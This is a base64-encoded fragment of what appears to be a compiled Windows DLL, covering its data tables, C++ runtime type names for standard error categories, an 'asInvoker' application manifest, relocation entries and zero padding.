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NMRMxGDEgMSoxMDFEMVAxpzHWMewxCDKDMsAyyjLmMjozQDNiM4IzkTOhM7EzwjPGM9Iz1jPiM+YzAMAAAKgBAAA4MTwxQDFMMVAxVDFYMWQxaDFsMbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDZUNlw2ZDZsNnQ2fDYQPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP5w/oD+kP6g/rD+wP7Q/uD+8P8A/xD/sP/A/9D8AAADQAACEAAAADDAQMMw41DjcOOQ47Dj0OPw4BDkMORQ5HDkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXQ5fDk8PkA+RD5IPlw+YD5kPmg+HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwDgAABgAwAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBsMHQwfDCEMIwwlDCcMKQwrDC0MLwwxDDMMNQw3DDkMOww9DD8MAQxDDEUMRwxJDEsMTQxPDFEMUwxVDFcMWQxbDF0MXwxhDGMMZQxnDGkMawxtDG8McQxzDHUMdwx5DHsMfQx/DEEMgwyFDIcMiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDe4N8A3yDfQN9g34DfoN/A3+DcAOAg4EDgYOCA4KDgwODg4QDhIOFA4WDhgOGg4cDh4OIA4iDiQOJg4oDioOLA4uDjAOMg40DjYOOA46DjwOPg4ADkIORA5GDkgOSg5MDk4OUA5SDlQOVg5YDloOXA5eDmAOYg5kDmYOaA5qDmwObg5wDnIOdA52DngOeg58Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6yDrQOtg64DroOvA6+DoAOwg7EDsYOyA7KDswOzg7QDtIO1A7WDtgO2g7cDt4O4A7iDuQO5g7oDuoO7A7uDvAO8g70DvYO+A76DvwO/g7ADwIPBA8GDwgPCg8MDw4PEA8SDxQPFg8YDxoPHA8eDyAPIg8kDyYPKA8qDywPLg8wDzIPNA82DzgPOg88Dz4PAA9CD0QPRg9ID0oPTA9OD1APUg9UD0AAADwAAA4AAAAoD+kP6g/rD+wP7Q/uD+8P8A/xD/IP8w/0D/UP9g/3D/gP+Q/6D/sP/A/9D/4P/w/AAABAJwAAAAAMAQwCDAMMBAwFDAYMBwwIDAkMCgwLDAwMDQwODA8MEAwRDBIMEwwUDBUMFgwXDBgMGQwaDBsMHAwdDB4MHwwgDCEMIgwjDCQMJQwmDCcMKAwpDCoMKwwsDC0MLgwvDDAMMQwyDDMMNAw1DDYMNww4DDkMOgw7DDwMPQw+DD8MAAxBDEIMQwxEDEUMRgxHDEgMSQxABABAFABAAAENgg2mDawNsA2xDbYNtw27DbwNvQ2/DYUNyQ3KDc4Nzw3QDdIN2A3cDd0N4Q3iDeMN5A3mDewN8A3xDfUN9g33DfgN+g3ADgQOBQ4JDgoODA4SDhYOFw4bDhwOIA4hDiIOJA4qDi4OLw41DjkOOg47DjwOAQ5CDkMOSQ5KDlAOVA5VDlkOWg5bDl0OYw5nDmsObA5tDm4Ocw50DnUOdg5FDocOiQ6KDowOkQ6TDpgOmg6fDqEOow6lDqYOpw6pDq4OsA6yDrQOtQ62DrgOvQ6EDswO0w7UDtwO5A7sDu8O9g75DsAPBw8IDw8PEA8YDxoPGw8iDyQPJQ8rDywPMw80DzgPAQ9ED0YPUQ9SD1QPVg9YD1kPWw9gD2gPbw9wD3gPQA+ID5APmA+gD6gPqw+yD7oPgg/KD9IP2g/dD98P8A/1D/kP/Q/ADABADQBAAAAMBwwODBYMHgwoDDgMOQwsDLwM/Qz+DP8MwA0BDQINAw0EDQUNBg0QDlIOcg7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxgPGQ8aDxsPHA8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ8uDy8PMA8xDzIPMw80DzUPNg83DzgPOQ86DzsPPA89Dz4PPw8AD0EPQg9DD0QPRQ9GD0cPSA9JD0oPSw9VD1kPXQ9hD2UPbQ9wD3EPcg9zD0APgg+DD4QPhQ+GD4cPiA+JD4oPiw+OD48PkA+RD5IPkw+UD5UPlw+YD5oPnA+nD7IPuw+GD8cPyA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA